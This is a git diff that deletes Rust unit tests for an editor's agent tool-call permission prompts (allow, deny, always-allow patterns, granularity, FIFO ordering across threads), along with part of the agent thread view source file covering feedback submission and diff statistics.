-            StubAgentConnection::new().with_permission_requests(HashMap::from_iter([(
-                tool_call_id.clone(),
-                permission_options,
-            )]));
-
-        connection.set_next_prompt_updates(vec![acp::SessionUpdate::ToolCall(tool_call)]);
-
-        let (thread_view, cx) = setup_thread_view(StubAgentServer::new(connection), cx).await;
-        add_to_workspace(thread_view.clone(), cx);
-
-        cx.update(|_window, cx| {
-            AgentSettings::override_global(
-                AgentSettings {
-                    notify_when_agent_waiting: NotifyWhenAgentWaiting::Never,
-                    ..AgentSettings::get_global(cx).clone()
-                },
-                cx,
-            );
-        });
-
-        let message_editor = message_editor(&thread_view, cx);
-        message_editor.update_in(cx, |editor, window, cx| {
-            editor.set_text("Run tests", window, cx);
-        });
-
-        active_thread(&thread_view, cx).update_in(cx, |view, window, cx| view.send(window, cx));
-
-        cx.run_until_parked();
-
-        // Verify tool call is waiting for confirmation
-        thread_view.read_with(cx, |thread_view, cx| {
-            let tool_call = thread_view.pending_tool_call(cx);
-            assert!(
-                tool_call.is_some(),
-                "Expected a tool call waiting for confirmation"
-            );
-        });
-
-        // Dispatch the AuthorizeToolCall action (simulating dropdown menu selection)
-        thread_view.update_in(cx, |_, window, cx| {
-            window.dispatch_action(
-                crate::AuthorizeToolCall {
-                    tool_call_id: "action-test-1".to_string(),
-                    option_id: "allow".to_string(),
-                    option_kind: "AllowOnce".to_string(),
-                }
-                .boxed_clone(),
-                cx,
-            );
-        });
-
-        cx.run_until_parked();
-
-        // Verify tool call is no longer waiting for confirmation (was authorized)
-        thread_view.read_with(cx, |thread_view, cx| {
-            let tool_call = thread_view.pending_tool_call(cx);
-            assert!(
-                tool_call.is_none(),
-                "Tool call should no longer be waiting for confirmation after AuthorizeToolCall action"
-            );
-        });
-    }
-
-    #[gpui::test]
-    async fn test_authorize_tool_call_action_with_pattern_option(cx: &mut TestAppContext) {
-        init_test(cx);
-
-        let tool_call_id = acp::ToolCallId::new("pattern-action-test-1");
-        let tool_call =
-            acp::ToolCall::new(tool_call_id.clone(), "Run `npm install`").kind(acp::ToolKind::Edit);
-
-        let permission_options =
-            ToolPermissionContext::new(TerminalTool::NAME, vec!["npm install".to_string()])
-                .build_permission_options();
-
-        let connection =
-            StubAgentConnection::new().with_permission_requests(HashMap::from_iter([(
-                tool_call_id.clone(),
-                permission_options.clone(),
-            )]));
-
-        connection.set_next_prompt_updates(vec![acp::SessionUpdate::ToolCall(tool_call)]);
-
-        let (thread_view, cx) = setup_thread_view(StubAgentServer::new(connection), cx).await;
-        add_to_workspace(thread_view.clone(), cx);
-
-        cx.update(|_window, cx| {
-            AgentSettings::override_global(
-                AgentSettings {
-                    notify_when_agent_waiting: NotifyWhenAgentWaiting::Never,
-                    ..AgentSettings::get_global(cx).clone()
-                },
-                cx,
-            );
-        });
-
-        let message_editor = message_editor(&thread_view, cx);
-        message_editor.update_in(cx, |editor, window, cx| {
-            editor.set_text("Install dependencies", window, cx);
-        });
-
-        active_thread(&thread_view, cx).update_in(cx, |view, window, cx| view.send(window, cx));
-
-        cx.run_until_parked();
-
-        // Find the pattern option ID
-        let pattern_option = match &permission_options {
-            PermissionOptions::Dropdown(choices) => choices
-                .iter()
-                .find(|choice| {
-                    choice
-                        .allow
-                        .option_id
-                        .0
-                        .starts_with("always_allow_pattern:")
-                })
-                .map(|choice| &choice.allow)
-                .expect("Should have a pattern option for npm command"),
-            _ => panic!("Expected dropdown permission options"),
-        };
-
-        // Dispatch action with the pattern option (simulating "Always allow `npm` commands")
-        thread_view.update_in(cx, |_, window, cx| {
-            window.dispatch_action(
-                crate::AuthorizeToolCall {
-                    tool_call_id: "pattern-action-test-1".to_string(),
-                    option_id: pattern_option.option_id.0.to_string(),
-                    option_kind: "AllowAlways".to_string(),
-                }
-                .boxed_clone(),
-                cx,
-            );
-        });
-
-        cx.run_until_parked();
-
-        // Verify tool call was authorized
-        thread_view.read_with(cx, |thread_view, cx| {
-            let tool_call = thread_view.pending_tool_call(cx);
-            assert!(
-                tool_call.is_none(),
-                "Tool call should be authorized after selecting pattern option"
-            );
-        });
-    }
-
-    #[gpui::test]
-    async fn test_granularity_selection_updates_state(cx: &mut TestAppContext) {
-        init_test(cx);
-
-        let tool_call_id = acp::ToolCallId::new("granularity-test-1");
-        let tool_call =
-            acp::ToolCall::new(tool_call_id.clone(), "Run `cargo build`").kind(acp::ToolKind::Edit);
-
-        let permission_options =
-            ToolPermissionContext::new(TerminalTool::NAME, vec!["cargo build".to_string()])
-                .build_permission_options();
-
-        let connection =
-            StubAgentConnection::new().with_permission_requests(HashMap::from_iter([(
-                tool_call_id.clone(),
-                permission_options.clone(),
-            )]));
-
-        connection.set_next_prompt_updates(vec![acp::SessionUpdate::ToolCall(tool_call)]);
-
-        let (thread_view, cx) = setup_thread_view(StubAgentServer::new(connection), cx).await;
-        add_to_workspace(thread_view.clone(), cx);
-
-        cx.update(|_window, cx| {
-            AgentSettings::override_global(
-                AgentSettings {
-                    notify_when_agent_waiting: NotifyWhenAgentWaiting::Never,
-                    ..AgentSettings::get_global(cx).clone()
-                },
-                cx,
-            );
-        });
-
-        let message_editor = message_editor(&thread_view, cx);
-        message_editor.update_in(cx, |editor, window, cx| {
-            editor.set_text("Build the project", window, cx);
-        });
-
-        active_thread(&thread_view, cx).update_in(cx, |view, window, cx| view.send(window, cx));
-
-        cx.run_until_parked();
-
-        // Verify default granularity is the last option (index 2 = "Only this time")
-        thread_view.read_with(cx, |thread_view, cx| {
-            let state = thread_view.active_thread().unwrap();
-            let selected = state
-                .read(cx)
-                .selected_permission_granularity
-                .get(&tool_call_id);
-            assert!(
-                selected.is_none(),
-                "Should have no selection initially (defaults to last)"
-            );
-        });
-
-        // Select the first option (index 0 = "Always for terminal")
-        thread_view.update_in(cx, |_, window, cx| {
-            window.dispatch_action(
-                crate::SelectPermissionGranularity {
-                    tool_call_id: "granularity-test-1".to_string(),
-                    index: 0,
-                }
-                .boxed_clone(),
-                cx,
-            );
-        });
-
-        cx.run_until_parked();
-
-        // Verify the selection was updated
-        thread_view.read_with(cx, |thread_view, cx| {
-            let state = thread_view.active_thread().unwrap();
-            let selected = state
-                .read(cx)
-                .selected_permission_granularity
-                .get(&tool_call_id);
-            assert_eq!(selected, Some(&0), "Should have selected index 0");
-        });
-    }
-
-    #[gpui::test]
-    async fn test_allow_button_uses_selected_granularity(cx: &mut TestAppContext) {
-        init_test(cx);
-
-        let tool_call_id = acp::ToolCallId::new("allow-granularity-test-1");
-        let tool_call =
-            acp::ToolCall::new(tool_call_id.clone(), "Run `npm install`").kind(acp::ToolKind::Edit);
-
-        let permission_options =
-            ToolPermissionContext::new(TerminalTool::NAME, vec!["npm install".to_string()])
-                .build_permission_options();
-
-        // Verify we have the expected options
-        let PermissionOptions::Dropdown(choices) = &permission_options else {
-            panic!("Expected dropdown permission options");
-        };
-
-        assert_eq!(choices.len(), 3);
-        assert!(
-            choices[0]
-                .allow
-                .option_id
-                .0
-                .contains("always_allow:terminal")
-        );
-        assert!(
-            choices[1]
-                .allow
-                .option_id
-                .0
-                .contains("always_allow_pattern:terminal")
-        );
-        assert_eq!(choices[2].allow.option_id.0.as_ref(), "allow");
-
-        let connection =
-            StubAgentConnection::new().with_permission_requests(HashMap::from_iter([(
-                tool_call_id.clone(),
-                permission_options.clone(),
-            )]));
-
-        connection.set_next_prompt_updates(vec![acp::SessionUpdate::ToolCall(tool_call)]);
-
-        let (thread_view, cx) = setup_thread_view(StubAgentServer::new(connection), cx).await;
-        add_to_workspace(thread_view.clone(), cx);
-
-        cx.update(|_window, cx| {
-            AgentSettings::override_global(
-                AgentSettings {
-                    notify_when_agent_waiting: NotifyWhenAgentWaiting::Never,
-                    ..AgentSettings::get_global(cx).clone()
-                },
-                cx,
-            );
-        });
-
-        let message_editor = message_editor(&thread_view, cx);
-        message_editor.update_in(cx, |editor, window, cx| {
-            editor.set_text("Install dependencies", window, cx);
-        });
-
-        active_thread(&thread_view, cx).update_in(cx, |view, window, cx| view.send(window, cx));
-
-        cx.run_until_parked();
-
-        // Select the pattern option (index 1 = "Always for `npm` commands")
-        thread_view.update_in(cx, |_, window, cx| {
-            window.dispatch_action(
-                crate::SelectPermissionGranularity {
-                    tool_call_id: "allow-granularity-test-1".to_string(),
-                    index: 1,
-                }
-                .boxed_clone(),
-                cx,
-            );
-        });
-
-        cx.run_until_parked();
-
-        // Simulate clicking the Allow button by dispatching AllowOnce action
-        // which should use the selected granularity
-        active_thread(&thread_view, cx).update_in(cx, |view, window, cx| {
-            view.allow_once(&AllowOnce, window, cx)
-        });
-
-        cx.run_until_parked();
-
-        // Verify tool call was authorized
-        thread_view.read_with(cx, |thread_view, cx| {
-            let tool_call = thread_view.pending_tool_call(cx);
-            assert!(
-                tool_call.is_none(),
-                "Tool call should be authorized after Allow with pattern granularity"
-            );
-        });
-    }
-
-    #[gpui::test]
-    async fn test_deny_button_uses_selected_granularity(cx: &mut TestAppContext) {
-        init_test(cx);
-
-        let tool_call_id = acp::ToolCallId::new("deny-granularity-test-1");
-        let tool_call =
-            acp::ToolCall::new(tool_call_id.clone(), "Run `git push`").kind(acp::ToolKind::Edit);
-
-        let permission_options =
-            ToolPermissionContext::new(TerminalTool::NAME, vec!["git push".to_string()])
-                .build_permission_options();
-
-        let connection =
-            StubAgentConnection::new().with_permission_requests(HashMap::from_iter([(
-                tool_call_id.clone(),
-                permission_options.clone(),
-            )]));
-
-        connection.set_next_prompt_updates(vec![acp::SessionUpdate::ToolCall(tool_call)]);
-
-        let (thread_view, cx) = setup_thread_view(StubAgentServer::new(connection), cx).await;
-        add_to_workspace(thread_view.clone(), cx);
-
-        cx.update(|_window, cx| {
-            AgentSettings::override_global(
-                AgentSettings {
-                    notify_when_agent_waiting: NotifyWhenAgentWaiting::Never,
-                    ..AgentSettings::get_global(cx).clone()
-                },
-                cx,
-            );
-        });
-
-        let message_editor = message_editor(&thread_view, cx);
-        message_editor.update_in(cx, |editor, window, cx| {
-            editor.set_text("Push changes", window, cx);
-        });
-
-        active_thread(&thread_view, cx).update_in(cx, |view, window, cx| view.send(window, cx));
-
-        cx.run_until_parked();
-
-        // Use default granularity (last option = "Only this time")
-        // Simulate clicking the Deny button
-        active_thread(&thread_view, cx).update_in(cx, |view, window, cx| {
-            view.reject_once(&RejectOnce, window, cx)
-        });
-
-        cx.run_until_parked();
-
-        // Verify tool call was rejected (no longer waiting for confirmation)
-        thread_view.read_with(cx, |thread_view, cx| {
-            let tool_call = thread_view.pending_tool_call(cx);
-            assert!(
-                tool_call.is_none(),
-                "Tool call should be rejected after Deny"
-            );
-        });
-    }
-
-    #[gpui::test]
-    async fn test_option_id_transformation_for_allow() {
-        let permission_options = ToolPermissionContext::new(
-            TerminalTool::NAME,
-            vec!["cargo build --release".to_string()],
-        )
-        .build_permission_options();
-
-        let PermissionOptions::Dropdown(choices) = permission_options else {
-            panic!("Expected dropdown permission options");
-        };
-
-        let allow_ids: Vec<String> = choices
-            .iter()
-            .map(|choice| choice.allow.option_id.0.to_string())
-            .collect();
-
-        assert!(allow_ids.contains(&"always_allow:terminal".to_string()));
-        assert!(allow_ids.contains(&"allow".to_string()));
-        assert!(
-            allow_ids
-                .iter()
-                .any(|id| id.starts_with("always_allow_pattern:terminal\n")),
-            "Missing allow pattern option"
-        );
-    }
-
-    #[gpui::test]
-    async fn test_option_id_transformation_for_deny() {
-        let permission_options = ToolPermissionContext::new(
-            TerminalTool::NAME,
-            vec!["cargo build --release".to_string()],
-        )
-        .build_permission_options();
-
-        let PermissionOptions::Dropdown(choices) = permission_options else {
-            panic!("Expected dropdown permission options");
-        };
-
-        let deny_ids: Vec<String> = choices
-            .iter()
-            .map(|choice| choice.deny.option_id.0.to_string())
-            .collect();
-
-        assert!(deny_ids.contains(&"always_deny:terminal".to_string()));
-        assert!(deny_ids.contains(&"deny".to_string()));
-        assert!(
-            deny_ids
-                .iter()
-                .any(|id| id.starts_with("always_deny_pattern:terminal\n")),
-            "Missing deny pattern option"
-        );
-    }
-
-    #[gpui::test]
-    async fn test_manually_editing_title_updates_acp_thread_title(cx: &mut TestAppContext) {
-        init_test(cx);
-
-        let (thread_view, cx) = setup_thread_view(StubAgentServer::default_response(), cx).await;
-
-        let active = active_thread(&thread_view, cx);
-        let title_editor = cx.read(|cx| active.read(cx).title_editor.clone());
-        let thread = cx.read(|cx| active.read(cx).thread.clone());
-
-        title_editor.read_with(cx, |editor, cx| {
-            assert!(!editor.read_only(cx));
-        });
-
-        title_editor.update_in(cx, |editor, window, cx| {
-            editor.set_text("My Custom Title", window, cx);
-        });
-        cx.run_until_parked();
-
-        title_editor.read_with(cx, |editor, cx| {
-            assert_eq!(editor.text(cx), "My Custom Title");
-        });
-        thread.read_with(cx, |thread, _cx| {
-            assert_eq!(thread.title().as_ref(), "My Custom Title");
-        });
-    }
-
-    #[gpui::test]
-    async fn test_title_editor_is_read_only_when_set_title_unsupported(cx: &mut TestAppContext) {
-        init_test(cx);
-
-        let (thread_view, cx) =
-            setup_thread_view(StubAgentServer::new(ResumeOnlyAgentConnection), cx).await;
-
-        let active = active_thread(&thread_view, cx);
-        let title_editor = cx.read(|cx| active.read(cx).title_editor.clone());
-
-        title_editor.read_with(cx, |editor, cx| {
-            assert!(
-                editor.read_only(cx),
-                "Title editor should be read-only when the connection does not support set_title"
-            );
-        });
-    }
-
-    #[gpui::test]
-    async fn test_max_tokens_error_is_rendered(cx: &mut TestAppContext) {
-        init_test(cx);
-
-        let connection = StubAgentConnection::new();
-
-        let (thread_view, cx) =
-            setup_thread_view(StubAgentServer::new(connection.clone()), cx).await;
-
-        let message_editor = message_editor(&thread_view, cx);
-        message_editor.update_in(cx, |editor, window, cx| {
-            editor.set_text("Some prompt", window, cx);
-        });
-        active_thread(&thread_view, cx).update_in(cx, |view, window, cx| view.send(window, cx));
-
-        let session_id = thread_view.read_with(cx, |view, cx| {
-            view.active_thread()
-                .unwrap()
-                .read(cx)
-                .thread
-                .read(cx)
-                .session_id()
-                .clone()
-        });
-
-        cx.run_until_parked();
-
-        cx.update(|_, _cx| {
-            connection.end_turn(session_id, acp::StopReason::MaxTokens);
-        });
-
-        cx.run_until_parked();
-
-        thread_view.read_with(cx, |thread_view, cx| {
-            let state = thread_view.active_thread().unwrap();
-            let error = &state.read(cx).thread_error;
-            match error {
-                Some(ThreadError::Other { message, .. }) => {
-                    assert!(
-                        message.contains("Max tokens reached"),
-                        "Expected 'Max tokens reached' error, got: {}",
-                        message
-                    );
-                }
-                other => panic!(
-                    "Expected ThreadError::Other with 'Max tokens reached', got: {:?}",
-                    other.is_some()
-                ),
-            }
-        });
-    }
-
-    fn create_test_acp_thread(
-        parent_session_id: Option<acp::SessionId>,
-        session_id: &str,
-        connection: Rc<dyn AgentConnection>,
-        project: Entity<Project>,
-        cx: &mut App,
-    ) -> Entity<AcpThread> {
-        let action_log = cx.new(|_| ActionLog::new(project.clone()));
-        cx.new(|cx| {
-            AcpThread::new(
-                parent_session_id,
-                "Test Thread",
-                connection,
-                project,
-                action_log,
-                acp::SessionId::new(session_id),
-                watch::Receiver::constant(acp::PromptCapabilities::new()),
-                cx,
-            )
-        })
-    }
-
-    fn request_test_tool_authorization(
-        thread: &Entity<AcpThread>,
-        tool_call_id: &str,
-        option_id: &str,
-        cx: &mut TestAppContext,
-    ) -> Task<acp::RequestPermissionOutcome> {
-        let tool_call_id = acp::ToolCallId::new(tool_call_id);
-        let label = format!("Tool {tool_call_id}");
-        let option_id = acp::PermissionOptionId::new(option_id);
-        cx.update(|cx| {
-            thread.update(cx, |thread, cx| {
-                thread
-                    .request_tool_call_authorization(
-                        acp::ToolCall::new(tool_call_id, label)
-                            .kind(acp::ToolKind::Edit)
-                            .into(),
-                        PermissionOptions::Flat(vec![acp::PermissionOption::new(
-                            option_id,
-                            "Allow",
-                            acp::PermissionOptionKind::AllowOnce,
-                        )]),
-                        cx,
-                    )
-                    .unwrap()
-            })
-        })
-    }
-
-    #[gpui::test]
-    async fn test_conversation_multiple_tool_calls_fifo_ordering(cx: &mut TestAppContext) {
-        init_test(cx);
-
-        let fs = FakeFs::new(cx.executor());
-        let project = Project::test(fs, [], cx).await;
-        let connection: Rc<dyn AgentConnection> = Rc::new(StubAgentConnection::new());
-
-        let (thread, conversation) = cx.update(|cx| {
-            let thread =
-                create_test_acp_thread(None, "session-1", connection.clone(), project.clone(), cx);
-            let conversation = cx.new(|cx| {
-                let mut conversation = Conversation::default();
-                conversation.register_thread(thread.clone(), cx);
-                conversation
-            });
-            (thread, conversation)
-        });
-
-        let _task1 = request_test_tool_authorization(&thread, "tc-1", "allow-1", cx);
-        let _task2 = request_test_tool_authorization(&thread, "tc-2", "allow-2", cx);
-
-        cx.read(|cx| {
-            let session_id = acp::SessionId::new("session-1");
-            let (_, tool_call_id, _) = conversation
-                .read(cx)
-                .pending_tool_call(&session_id, cx)
-                .expect("Expected a pending tool call");
-            assert_eq!(tool_call_id, acp::ToolCallId::new("tc-1"));
-        });
-
-        cx.update(|cx| {
-            conversation.update(cx, |conversation, cx| {
-                conversation.authorize_tool_call(
-                    acp::SessionId::new("session-1"),
-                    acp::ToolCallId::new("tc-1"),
-                    acp::PermissionOptionId::new("allow-1"),
-                    acp::PermissionOptionKind::AllowOnce,
-                    cx,
-                );
-            });
-        });
-
-        cx.run_until_parked();
-
-        cx.read(|cx| {
-            let session_id = acp::SessionId::new("session-1");
-            let (_, tool_call_id, _) = conversation
-                .read(cx)
-                .pending_tool_call(&session_id, cx)
-                .expect("Expected tc-2 to be pending after tc-1 was authorized");
-            assert_eq!(tool_call_id, acp::ToolCallId::new("tc-2"));
-        });
-
-        cx.update(|cx| {
-            conversation.update(cx, |conversation, cx| {
-                conversation.authorize_tool_call(
-                    acp::SessionId::new("session-1"),
-                    acp::ToolCallId::new("tc-2"),
-                    acp::PermissionOptionId::new("allow-2"),
-                    acp::PermissionOptionKind::AllowOnce,
-                    cx,
-                );
-            });
-        });
-
-        cx.run_until_parked();
-
-        cx.read(|cx| {
-            let session_id = acp::SessionId::new("session-1");
-            assert!(
-                conversation
-                    .read(cx)
-                    .pending_tool_call(&session_id, cx)
-                    .is_none(),
-                "Expected no pending tool calls after both were authorized"
-            );
-        });
-    }
-
-    #[gpui::test]
-    async fn test_conversation_subagent_scoped_pending_tool_call(cx: &mut TestAppContext) {
-        init_test(cx);
-
-        let fs = FakeFs::new(cx.executor());
-        let project = Project::test(fs, [], cx).await;
-        let connection: Rc<dyn AgentConnection> = Rc::new(StubAgentConnection::new());
-
-        let (parent_thread, subagent_thread, conversation) = cx.update(|cx| {
-            let parent_thread =
-                create_test_acp_thread(None, "parent", connection.clone(), project.clone(), cx);
-            let subagent_thread = create_test_acp_thread(
-                Some(acp::SessionId::new("parent")),
-                "subagent",
-                connection.clone(),
-                project.clone(),
-                cx,
-            );
-            let conversation = cx.new(|cx| {
-                let mut conversation = Conversation::default();
-                conversation.register_thread(parent_thread.clone(), cx);
-                conversation.register_thread(subagent_thread.clone(), cx);
-                conversation
-            });
-            (parent_thread, subagent_thread, conversation)
-        });
-
-        let _parent_task =
-            request_test_tool_authorization(&parent_thread, "parent-tc", "allow-parent", cx);
-        let _subagent_task =
-            request_test_tool_authorization(&subagent_thread, "subagent-tc", "allow-subagent", cx);
-
-        // Querying with the subagent's session ID returns only the
-        // subagent's own tool call (subagent path is scoped to its session)
-        cx.read(|cx| {
-            let subagent_id = acp::SessionId::new("subagent");
-            let (session_id, tool_call_id, _) = conversation
-                .read(cx)
-                .pending_tool_call(&subagent_id, cx)
-                .expect("Expected subagent's pending tool call");
-            assert_eq!(session_id, acp::SessionId::new("subagent"));
-            assert_eq!(tool_call_id, acp::ToolCallId::new("subagent-tc"));
-        });
-
-        // Querying with the parent's session ID returns the first pending
-        // request in FIFO order across all sessions
-        cx.read(|cx| {
-            let parent_id = acp::SessionId::new("parent");
-            let (session_id, tool_call_id, _) = conversation
-                .read(cx)
-                .pending_tool_call(&parent_id, cx)
-                .expect("Expected a pending tool call from parent query");
-            assert_eq!(session_id, acp::SessionId::new("parent"));
-            assert_eq!(tool_call_id, acp::ToolCallId::new("parent-tc"));
-        });
-    }
-
-    #[gpui::test]
-    async fn test_conversation_parent_pending_tool_call_returns_first_across_threads(
-        cx: &mut TestAppContext,
-    ) {
-        init_test(cx);
-
-        let fs = FakeFs::new(cx.executor());
-        let project = Project::test(fs, [], cx).await;
-        let connection: Rc<dyn AgentConnection> = Rc::new(StubAgentConnection::new());
-
-        let (thread_a, thread_b, conversation) = cx.update(|cx| {
-            let thread_a =
-                create_test_acp_thread(None, "thread-a", connection.clone(), project.clone(), cx);
-            let thread_b =
-                create_test_acp_thread(None, "thread-b", connection.clone(), project.clone(), cx);
-            let conversation = cx.new(|cx| {
-                let mut conversation = Conversation::default();
-                conversation.register_thread(thread_a.clone(), cx);
-                conversation.register_thread(thread_b.clone(), cx);
-                conversation
-            });
-            (thread_a, thread_b, conversation)
-        });
-
-        let _task_a = request_test_tool_authorization(&thread_a, "tc-a", "allow-a", cx);
-        let _task_b = request_test_tool_authorization(&thread_b, "tc-b", "allow-b", cx);
-
-        // Both threads are non-subagent, so pending_tool_call always returns
-        // the first entry from permission_requests (FIFO across all sessions)
-        cx.read(|cx| {
-            let session_a = acp::SessionId::new("thread-a");
-            let (session_id, tool_call_id, _) = conversation
-                .read(cx)
-                .pending_tool_call(&session_a, cx)
-                .expect("Expected a pending tool call");
-            assert_eq!(session_id, acp::SessionId::new("thread-a"));
-            assert_eq!(tool_call_id, acp::ToolCallId::new("tc-a"));
-        });
-
-        // Querying with thread-b also returns thread-a's tool call,
-        // because non-subagent queries always use permission_requests.first()
-        cx.read(|cx| {
-            let session_b = acp::SessionId::new("thread-b");
-            let (session_id, tool_call_id, _) = conversation
-                .read(cx)
-                .pending_tool_call(&session_b, cx)
-                .expect("Expected a pending tool call from thread-b query");
-            assert_eq!(
-                session_id,
-                acp::SessionId::new("thread-a"),
-                "Non-subagent queries always return the first pending request in FIFO order"
-            );
-            assert_eq!(tool_call_id, acp::ToolCallId::new("tc-a"));
-        });
-
-        // After authorizing thread-a's tool call, thread-b's becomes first
-        cx.update(|cx| {
-            conversation.update(cx, |conversation, cx| {
-                conversation.authorize_tool_call(
-                    acp::SessionId::new("thread-a"),
-                    acp::ToolCallId::new("tc-a"),
-                    acp::PermissionOptionId::new("allow-a"),
-                    acp::PermissionOptionKind::AllowOnce,
-                    cx,
-                );
-            });
-        });
-
-        cx.run_until_parked();
-
-        cx.read(|cx| {
-            let session_b = acp::SessionId::new("thread-b");
-            let (session_id, tool_call_id, _) = conversation
-                .read(cx)
-                .pending_tool_call(&session_b, cx)
-                .expect("Expected thread-b's tool call after thread-a's was authorized");
-            assert_eq!(session_id, acp::SessionId::new("thread-b"));
-            assert_eq!(tool_call_id, acp::ToolCallId::new("tc-b"));
-        });
-    }
-}
diff --git a/crates/agent_ui/src/acp/thread_view/active_thread.rs b/crates/agent_ui/src/acp/thread_view/active_thread.rs
deleted file mode 100644
index 6c99bf16a83820..00000000000000
--- a/crates/agent_ui/src/acp/thread_view/active_thread.rs
+++ /dev/null
@@ -1,7465 +0,0 @@
-use cloud_api_types::{SubmitAgentThreadFeedbackBody, SubmitAgentThreadFeedbackCommentsBody};
-use gpui::{Corner, List};
-use language_model::LanguageModelEffortLevel;
-use settings::update_settings_file;
-use ui::{ButtonLike, SplitButton, SplitButtonStyle, Tab};
-
-use super::*;
-
-#[derive(Default)]
-struct ThreadFeedbackState {
-    feedback: Option<ThreadFeedback>,
-    comments_editor: Option<Entity<Editor>>,
-}
-
-impl ThreadFeedbackState {
-    pub fn submit(
-        &mut self,
-        thread: Entity<AcpThread>,
-        feedback: ThreadFeedback,
-        window: &mut Window,
-        cx: &mut App,
-    ) {
-        let Some(telemetry) = thread.read(cx).connection().telemetry() else {
-            return;
-        };
-
-        let project = thread.read(cx).project().read(cx);
-        let client = project.client();
-        let user_store = project.user_store();
-        let organization = user_store.read(cx).current_organization();
-
-        if self.feedback == Some(feedback) {
-            return;
-        }
-
-        self.feedback = Some(feedback);
-        match feedback {
-            ThreadFeedback::Positive => {
-                self.comments_editor = None;
-            }
-            ThreadFeedback::Negative => {
-                self.comments_editor = Some(Self::build_feedback_comments_editor(window, cx));
-            }
-        }
-        let session_id = thread.read(cx).session_id().clone();
-        let agent_telemetry_id = thread.read(cx).connection().telemetry_id();
-        let task = telemetry.thread_data(&session_id, cx);
-        let rating = match feedback {
-            ThreadFeedback::Positive => "positive",
-            ThreadFeedback::Negative => "negative",
-        };
-        cx.background_spawn(async move {
-            let thread = task.await?;
-
-            client
-                .cloud_client()
-                .submit_agent_feedback(SubmitAgentThreadFeedbackBody {
-                    organization_id: organization.map(|organization| organization.id.clone()),
-                    agent: agent_telemetry_id.to_string(),
-                    session_id: session_id.to_string(),
-                    rating: rating.to_string(),
-                    thread,
-                })
-                .await?;
-
-            anyhow::Ok(())
-        })
-        .detach_and_log_err(cx);
-    }
-
-    pub fn submit_comments(&mut self, thread: Entity<AcpThread>, cx: &mut App) {
-        let Some(telemetry) = thread.read(cx).connection().telemetry() else {
-            return;
-        };
-
-        let Some(comments) = self
-            .comments_editor
-            .as_ref()
-            .map(|editor| editor.read(cx).text(cx))
-            .filter(|text| !text.trim().is_empty())
-        else {
-            return;
-        };
-
-        self.comments_editor.take();
-
-        let project = thread.read(cx).project().read(cx);
-        let client = project.client();
-        let user_store = project.user_store();
-        let organization = user_store.read(cx).current_organization();
-
-        let session_id = thread.read(cx).session_id().clone();
-        let agent_telemetry_id = thread.read(cx).connection().telemetry_id();
-        let task = telemetry.thread_data(&session_id, cx);
-        cx.background_spawn(async move {
-            let thread = task.await?;
-
-            client
-                .cloud_client()
-                .submit_agent_feedback_comments(SubmitAgentThreadFeedbackCommentsBody {
-                    organization_id: organization.map(|organization| organization.id.clone()),
-                    agent: agent_telemetry_id.to_string(),
-                    session_id: session_id.to_string(),
-                    comments,
-                    thread,
-                })
-                .await?;
-
-            anyhow::Ok(())
-        })
-        .detach_and_log_err(cx);
-    }
-
-    pub fn clear(&mut self) {
-        *self = Self::default()
-    }
-
-    pub fn dismiss_comments(&mut self) {
-        self.comments_editor.take();
-    }
-
-    fn build_feedback_comments_editor(window: &mut Window, cx: &mut App) -> Entity<Editor> {
-        let buffer = cx.new(|cx| {
-            let empty_string = String::new();
-            MultiBuffer::singleton(cx.new(|cx| Buffer::local(empty_string, cx)), cx)
-        });
-
-        let editor = cx.new(|cx| {
-            let mut editor = Editor::new(
-                editor::EditorMode::AutoHeight {
-                    min_lines: 1,
-                    max_lines: Some(4),
-                },
-                buffer,
-                None,
-                window,
-                cx,
-            );
-            editor.set_placeholder_text(
-                "What went wrong? Share your feedback so we can improve.",
-                window,
-                cx,
-            );
-            editor
-        });
-
-        editor.read(cx).focus_handle(cx).focus(window, cx);
-        editor
-    }
-}
-
-#[derive(Default, Clone, Copy)]
-struct DiffStats {
-    lines_added: u32,
-    lines_removed: u32,
-}
-
-impl DiffStats {
-    fn single_file(buffer: &Buffer, diff: &BufferDiff, cx: &App) -> Self {
-        let mut stats = DiffStats::default();
-        let diff_snapshot = diff.snapshot(cx);
-        let buffer_snapshot = buffer.snapshot();
-        let base_text = diff_snapshot.base_text();
-
-        for hunk in diff_snapshot.hunks(&buffer_snapshot) {
-            let added_rows = hunk.range.end.row.saturating_sub(hunk.range.start.row);
-            stats.lines_added += added_rows;
-
-            let base_start = hunk.diff_base_byte_range.start.to_point(base_text).row;
-            let base_end = hunk.diff_base_byte_range.end.to_point(base_text).row;
-            let removed_rows = base_end.saturating_sub(base_start);
-            stats.lines_removed += removed_rows;
-        }
-
-        stats
-    }
-
-    fn all_files(changed_buffers: &BTreeMap<Entity<Buffer>, Entity<BufferDiff>>, cx: &App) -> Self {
-        let mut total = DiffStats::default();
-        for (buffer, diff) in changed_buffers {
-            let stats = DiffStats::single_file(buffer.read(cx), diff.read(cx), cx);
-            total.lines_added += stats.lines_added;
-            total.lines_removed += stats.lines_removed;
-        }
-        total
-    }
-}
-
-pub struct AcpThreadView {
-    pub id: acp::SessionId,
-    pub parent_id: Option<acp::SessionId>,
-    pub login: Option<task::SpawnInTerminal>, // is some <=> Active | Unauthenticated
-    pub thread: Entity<AcpThread>,
-    pub(crate) conversation: Entity<super::Conversation>,
-    pub server_view: WeakEntity<AcpServerView>,
-    pub agent_icon: IconName,
-    pub agent_name: SharedString,
-    pub focus_handle: FocusHandle,
-    pub workspace: WeakEntity<Workspace>,
-    pub entry_view_state: Entity<EntryViewState>,
-    pub title_editor: Entity<Editor>,
-    pub config_options_view: Option<Entity<ConfigOptionsView>>,
-    pub mode_selector: Option<Entity<ModeSelector>>,
-    pub model_selector: Option<Entity<AcpModelSelectorPopover>>,
-    pub profile_selector: Option<Entity<ProfileSelector>>,
-    pub permission_dropdown_handle: PopoverMenuHandle<ContextMenu>,
-    pub thread_retry_status: Option<RetryStatus>,
-    pub(super) thread_error: Option<ThreadError>,
-    pub thread_error_markdown: Option<Entity<Markdown>>,
-    pub token_limit_callout_dismissed: bool,
-    pub last_token_limit_telemetry: Option<acp_thread::TokenUsageRatio>,
-    thread_feedback: ThreadFeedbackState,
-    pub list_state: ListState,
-    pub prompt_capabilities: Rc<RefCell<PromptCapabilities>>,
-    pub available_commands: Rc<RefCell<Vec<agent_client_protocol::AvailableCommand>>>,
-    /// Tracks which tool calls have their content/output expanded.
-    /// Used for showing/hiding tool call results, terminal output, etc.
-    pub expanded_tool_calls: HashSet<agent_client_protocol::ToolCallId>,
-    pub expanded_tool_call_raw_inputs: HashSet<agent_client_protocol::ToolCallId>,
-    pub expanded_thinking_blocks: HashSet<(usize, usize)>,
